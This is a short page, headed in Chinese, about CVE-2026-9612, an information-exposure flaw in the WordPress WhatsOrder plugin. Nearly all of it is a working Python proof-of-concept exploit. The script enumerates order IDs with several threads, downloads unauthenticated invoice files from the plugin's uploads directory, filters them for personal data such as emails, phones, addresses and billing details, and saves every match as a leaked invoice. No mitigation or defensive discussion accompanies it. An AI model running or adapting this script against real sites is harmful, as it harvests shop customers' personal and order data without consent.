CVE-2026-9612：WordPress WhatsOrder插件敏感信息泄露漏洞

# CVE-2026-9612 PoC - WhatsOrder Plugin Sensitive Information Exposure # Exploits unauthenticated access to invoice files in wp-content/uploads/whatsorder_invoices/ import requests import sys from concurrent.futures import ThreadPoolExecutor TARGET_URL = "https://target-wordpress-site.com" INVOICE_DIR = "/wp-content/uploads/whatsorder_invoices/" START_ID = 1 END_ID = 1000 # Adjust based on expected number of orders THREADS = 10 def fetch_invoice(order_id): """Attempt to fetch an invoice file by order ID enumeration.""" # Common file naming patterns for the invoice url = f"{TARGET_URL}{INVOICE_DIR}{order_id}.html" try: response = requests.get(url, timeout=10, verify=False, headers={"User-Agent": "Mozilla/5.0"}) if response.status_code == 200 and len(response.content) > 0: # Check if the response contains PII indicators pii_indicators = ["email", "phone", "address", "order", "total", "billing", "shipping", "coupon"] if any(indicator in response.text.lower() for indicator in pii_indicators): print(f"[+] Found invoice for order #{order_id}") # Save the leaked invoice data with open(f"leaked_invoice_{order_id}.html", "w", encoding="utf-8") as f: f.write(response.text) return order_id except requests.exceptions.RequestException: pass return None def exploit(): print(f"[*] Starting CVE-2026-9612 exploit against {TARGET_URL}") print(f"[*] Enumerating order IDs from {START_ID} to {END_ID}") leaked_orders = [] with ThreadPoolExecutor(max_workers=THREADS) as executor: results = executor.map(fetch_invoice, range(START_ID, END_ID + 1)) for result in results: if result is not None: leaked_orders.append(result) print(f"\n[*] Exploitation complete. {len(leaked_orders)} invoices leaked.") print(f"[*] Leaked order IDs: {leaked_orders}") if __name__ == "__main__": exploit()